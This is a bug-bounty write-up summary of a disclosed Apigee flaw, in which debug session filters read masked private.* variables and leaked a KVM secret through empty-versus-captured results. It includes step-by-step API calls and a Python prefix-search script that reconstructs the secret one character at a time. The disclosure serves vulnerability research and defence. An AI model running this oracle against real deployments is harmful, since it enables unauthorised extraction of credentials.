# The Debug Filter That Read Masked Apigee Secrets

Apigee Debug session filters evaluated private.* variables before masking, letting a trace-only role brute-force a KVM secret one character at a time via empty/non-empty session results.

- Payout: $1,337
- Severity: medium
- Program: Google
- Found by: Nikita Markevich
- Disclosed: 2026-10-29
- Write-up quality: 8/10
- Original: https://bugs.exposed/posts/apigee-debug-filter-oracle
- Library page: https://bugbountylibrary.com/r/blog%3Abugs-exposed-posts-apigee-debug-filter-oracle
- Tags: area:cloud domain:cloud impact:data-leak impact:privesc kind:bounty platform:blog sev:medium tech:rest technique:blind technique:source-review vuln:access-control vuln:info-disclosure vuln:misconfiguration

**Target:** Apigee Debug sessions API (debugsessions filter and data endpoints)
**Root cause:** Debug session filters are parsed and evaluated against raw flow variables to decide capture, while masking/private.* omission is applied only afterward to the collected trace, so the capture-or-ignore branch leaks one bit about the hidden value.
**Steps:**
1. Create a filtered Debug session: `POST /v1/organizations/ORG/environments/ENV/apis/API/revisions/REV/debugsessions` with body `{"filter": "private.token StartsWith \"a\""}`
2. Send a request through the proxy that populates `private.token` (e.g. KeyValueMapOperations Get assignTo="private.token")
3. List recorded transactions: `GET /v1/organizations/ORG/environments/ENV/apis/API/revisions/REV/debugsessions/SESSION/data`
4. Observe `["0"]` on prefix match vs `[]` on miss
5. Loop over alphabet per position, extending prefix on match, to reconstruct the secret
**How found:** Reasoned that the filter is part of the capture decision, not a search over a produced trace, so it must run before masking; tested two identical sessions differing by one guessed character against a known random token and saw one capture and one empty.
**Exploitation:** An identity holding only apigee.tracesessions.create/get/list/delete (no KVM read) creates sessions with StartsWith filters on a guessed variable name, drives recurring traffic through the proxy, and reads transaction-ID presence as a boolean oracle to recover a stable secret character by character (~32 guesses/char for 64-char alphabet).
**Insight:** When a system redacts data in output, check whether any pre-redaction selector (filters, conditions, routing, sampling) can branch on the raw value — an empty-vs-nonempty result is a one-bit oracle that reconstructs secrets via StartsWith prefix search.

## Proof of concept (copied exactly from the original report)

**Prefix-search oracle script extracting private.token**

```
def matches(prefix):
 session_id = create_debug_session(
 filter=f'private.token StartsWith "{prefix}"'
 )
 send_request_through_proxy()
 return bool(list_transaction_ids(session_id))

prefix = ""
for position in range(EXPECTED_LENGTH):
 for char in ALPHABET:
 if matches(prefix + char):
 prefix += char
 print(prefix)
 break
 else:
 raise RuntimeError(f"no candidate matched at offset {position}")
```

**Filtered debug session creation request**

```
POST /v1/organizations/ORG/environments/ENV/apis/API/revisions/REV/debugsessions
Authorization: Bearer ACCESS_TOKEN
Content-Type: application/json

{
 "filter": "request.verb = \"POST\""
}
```

**Debug-only role permissions for attack identity**

```
apigee.tracesessions.create
apigee.tracesessions.get
apigee.tracesessions.list
apigee.tracesessions.delete
```

